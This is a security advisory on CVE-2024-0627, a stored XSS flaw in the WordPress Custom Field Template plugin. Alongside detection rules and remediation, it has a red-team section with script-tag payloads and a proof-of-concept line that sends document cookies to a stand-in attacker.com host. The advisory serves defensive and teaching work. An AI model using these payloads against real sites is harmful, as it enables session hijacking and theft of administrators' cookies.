CVE-2024-0627

Executive Summary

CVE-2024-0627 is a Stored Cross-Site Scripting (XSS) vulnerability in the Custom Field Template plugin for WordPress, affecting all versions up to and including 2.6.1. The flaw resides in the plugin's custom field name column, where insufficient input sanitization and output escaping allow authenticated attackers with contributor-level access or higher to inject arbitrary web scripts. These scripts execute whenever a user accesses an injected page, potentially leading to session hijacking, data theft, or further compromise of the WordPress site.

This vulnerability is specific to the WordPress ecosystem and does not involve Apache or Nginx directly. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild, but the risk remains significant for sites with multiple contributors.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. No NPM, PyPI, Go, or Ruby packages are involved. The plugin is not part of a managed package ecosystem, but users should verify plugin integrity via checksums provided by WordPress.org.

CVSS Breakdown & Threat Level

• CVSS Score: 6.4 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (contributor-level)
• User Interaction: None
• Scope: Changed (impact on other components)
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

The threat level is Medium due to the requirement for authenticated access, but the potential for widespread impact on multi-user WordPress sites elevates the risk.

Deep Dive & Mechanics

The vulnerability exists in the custom-field-template plugin's handling of custom field names. When a user with contributor-level permissions or higher creates or edits a custom field, the plugin does not properly sanitize the field name input. This allows the injection of malicious JavaScript code into the field name column.

The injected script is stored in the WordPress database and rendered on pages where the custom field is displayed. Because the plugin fails to escape output when rendering the field name, the script executes in the context of any user viewing the affected page, including administrators.

The attack flow:

1. Attacker logs in with contributor-level access.
2. Attacker creates a new custom field with a name containing malicious JavaScript (e.g., <script>alert('XSS')</script>).
3. The script is stored in the database.
4. When an administrator or other user views a page that displays this custom field, the script executes.

Vulnerable vs. Patched Code

Vulnerable Code (version <= 2.6.1): The plugin likely uses echo $field_name; or similar without escaping. Example:

echo $field_name; // No escaping

Patched Code (hypothetical fix): The fix would involve escaping the output using WordPress's built-in functions:

echo esc_html( $field_name );

Or sanitizing input:

$field_name = sanitize_text_field( $_POST['field_name'] );

No official patch has been released as of this report.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• WordPress site with Custom Field Template plugin <= 2.6.1
• Contributor-level account or higher

Steps:

1. Log in to WordPress as a contributor.
2. Navigate to the Custom Field Template settings (e.g., /wp-admin/admin.php?page=custom-field-template).
3. Add a new custom field with a name containing XSS payload:

   <script>alert(document.cookie)</script>
   

4. Save the field.
5. Visit any page that displays this custom field (e.g., a post using the template). The script executes.

Proof of Concept (PoC) Code:

// JavaScript payload to steal cookies
fetch('https://attacker.com/steal?cookie=' + document.cookie);

Blue Team (Detection & Prevention)

Detection:

• Monitor for unusual custom field names containing HTML/JavaScript tags.
• Use Web Application Firewall (WAF) rules to block XSS patterns in POST requests to admin.php?page=custom-field-template.

Prevention:

• Disable the plugin until a patch is available.
• Restrict contributor-level permissions to trusted users only.
• Implement Content Security Policy (CSP) headers to mitigate XSS impact.

Indicators of Compromise (IOCs)

• File: /wp-content/plugins/custom-field-template/ (entire plugin directory)
• Database: Rows in wp_postmeta or custom tables containing <script> tags in field names.
• Logs: HTTP requests to /wp-admin/admin.php?page=custom-field-template with suspicious POST data.
• Network: Outbound connections to attacker-controlled domains from WordPress admin pages.

Detection Engineering

YARA Rule

rule CVE_2024_0627_WordPress_XSS {
    meta:
        description = "Detects malicious custom field names in Custom Field Template plugin"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-0627"
    strings:
        $xss_payload = /<script[^>]*>.*<\/script>/i
        $plugin_path = "custom-field-template"
    condition:
        $plugin_path and $xss_payload
}

Sigma Rule

title: CVE-2024-0627 - Stored XSS via Custom Field Template
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects attempts to inject XSS payloads into custom field names
author: Valters IT
logsource:
    category: webserver
    product: wordpress
detection:
    selection:
        http.method: 'POST'
        http.url: '/wp-admin/admin.php'
        http.body: '*page=custom-field-template*'
        http.body: '*<script*'
    condition: selection
falsepositives:
    - Legitimate use of HTML in field names (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-0627 - Stored XSS via Custom Field Template"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin.php"; http_uri; content:"page=custom-field-template"; http_client_body; pcre:"/<script[^>]*>.*<\/script>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin if not essential.
2. Restrict contributor-level accounts to only trusted users.
3. Apply virtual patching via WAF to block XSS patterns in custom field names.

Long-term Fix:

• Monitor the plugin's official page for a patched version (expected > 2.6.1).
• Once available, update to the latest version immediately.
• Consider replacing the plugin with an alternative that is actively maintained.

Workaround:

• Manually sanitize custom field names by adding a filter in functions.php:

add_filter('custom_field_template_field_name', 'sanitize_text_field');

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Analyst